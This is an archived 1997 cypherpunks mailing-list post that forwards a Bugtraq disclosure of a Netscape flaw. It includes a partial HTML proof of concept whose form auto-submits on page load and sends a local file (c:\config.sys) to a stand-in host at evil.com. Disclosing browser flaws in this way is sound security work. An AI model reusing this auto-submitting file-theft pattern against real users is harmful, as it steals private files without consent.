1997-06-15 - Netscape Exploit
Header Data
From: Lucky Green <shamrock@netcom.com>
To: cypherpunks@Algebra.COM
Message Hash: e3c4dfcbcfda166ff1201e4432eb261c30247d498de8b2ae7a964803ec1da5f3
Message ID: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
Reply To: N/A
UTC Datetime: 1997-06-15 04:12:43 UTC
Raw Date: Sun, 15 Jun 1997 12:12:43 +0800
Raw message
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 15 Jun 1997 12:12:43 +0800
To: cypherpunks@Algebra.COM
Subject: Netscape Exploit
Message-ID: <3.0.2.32.19970614211018.03c32c1c@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain
>Approved-By: aleph1@UNDERGROUND.ORG
>Date: Sat, 14 Jun 1997 19:21:30 -0500
>Reply-To: root <root@BACKWATER.PBX.ORG>
>Sender: Bugtraq List <BUGTRAQ@NETSPACE.ORG>
>From: root <root@BACKWATER.PBX.ORG>
>Subject: Netscape Exploit
>To: BUGTRAQ@NETSPACE.ORG
>
>Here is a sample it isn't complete but you get the basic idea of what is
>going on
><HTML><HEAD><TITLE>Evil-DOT-COM Homepage</TITLE><HEAD>
>
><BODY onLoad="daForm.submit()">
><FORM
> NAME="daForm"
> ACTION="http://evil.com/cgi-bin/formmail.pl"
> METHOD=POST>
>
><INPUT TYPE=FILE VALUE="c:\config.sys" Name="Save This Document on your
>Harddrive">
><INPUT TYPE=HIDDEN NAME="recipient" value="foobar@evil.com">
>
>and so on and so forth...
--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.
Put a stake through the heart of DES! Join the quest at
http://www.frii.com/~rcv/deschall.htm
Thread
Return to June 1997
- Return to “Lucky Green <shamrock@netcom.com>”
Return to “Tom Weinstein <tomw@netscape.com>”
- 1997-06-15 (Sun, 15 Jun 1997 12:12:43 +0800) - Netscape Exploit - Lucky Green <shamrock@netcom.com>
- 1997-06-15 (Sun, 15 Jun 1997 16:36:51 +0800) - Re: Netscape Exploit - Tom Weinstein <tomw@netscape.com>